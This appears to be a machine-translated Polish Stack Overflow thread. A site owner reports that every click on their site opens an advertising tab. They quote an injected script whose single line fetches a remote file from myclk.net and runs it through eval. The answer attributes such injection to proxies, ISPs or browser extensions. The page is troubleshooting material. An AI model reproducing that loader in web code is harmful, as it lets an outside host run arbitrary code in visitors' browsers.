Znajdowanie złośliwego oprogramowania na stronie internetowej

Question

Jestem trochę zagubiony w tej kwestii, więc przepraszam. Wiem, że istnieją inne wątki na SO o tym, ale nie mogę znaleźć odpowiedzi.

W witrynie, gdy jest załadowany, nie ma znaczenia, gdzie użytkownik kliknie, jest otwarta w przeglądarce dodatkowa karta z reklamami.

Co udało mi się znaleźć tak daleko, patrząc na konsoli przeglądarki jest to, że jest załadowany niektóre js plik

http://cdn.mecash.ru/js/replace.js 

Ten plik zawiera

!function(w){if(w.self==w.top){var r=new XMLHttpRequest;r.onload=function(){eval(this.responseText)},r.open("get","//myclk.net/js/tx.js",!0),r.send()}}(window); 

i patrząc na to tx.js podejrzewam że jest to wstrzyknięty przez hakera.

Problem polega na tym, że szukałem w plikach na przyjmującego i nie może znaleźć żadnego zawierać lub coś tego js ..

Czy ktoś może mi pomóc i powiedzieć gdzie i prawdopodobnie jak mogę znaleźć to?

Answer 1

Właściwie tego rodzaju pliki są wstrzykiwane, gdy dane są przesyłane z serwera do klienta. Rzeczywisty kod nie robi zawiera skrypt, ale oni są wstrzykiwane i wykonuje na komputerze klienckim ..

Ewentualnie wstrzykiwany przez:

• proxy Third Party, używane serwery proxy.
• Injected ISP w niektórych przypadkach.
• Zainstalowano złośliwe/kompromitujące rozszerzenie przeglądarki.

Możesz uniknąć wstrzykiwania proxy/ISP, przesyłając zawartość ponad https zamiast http. Jednak można uniknąć wstrzykiwania wykonanego przez browswer extensions przez odinstalowanie tylko rozszerzeń.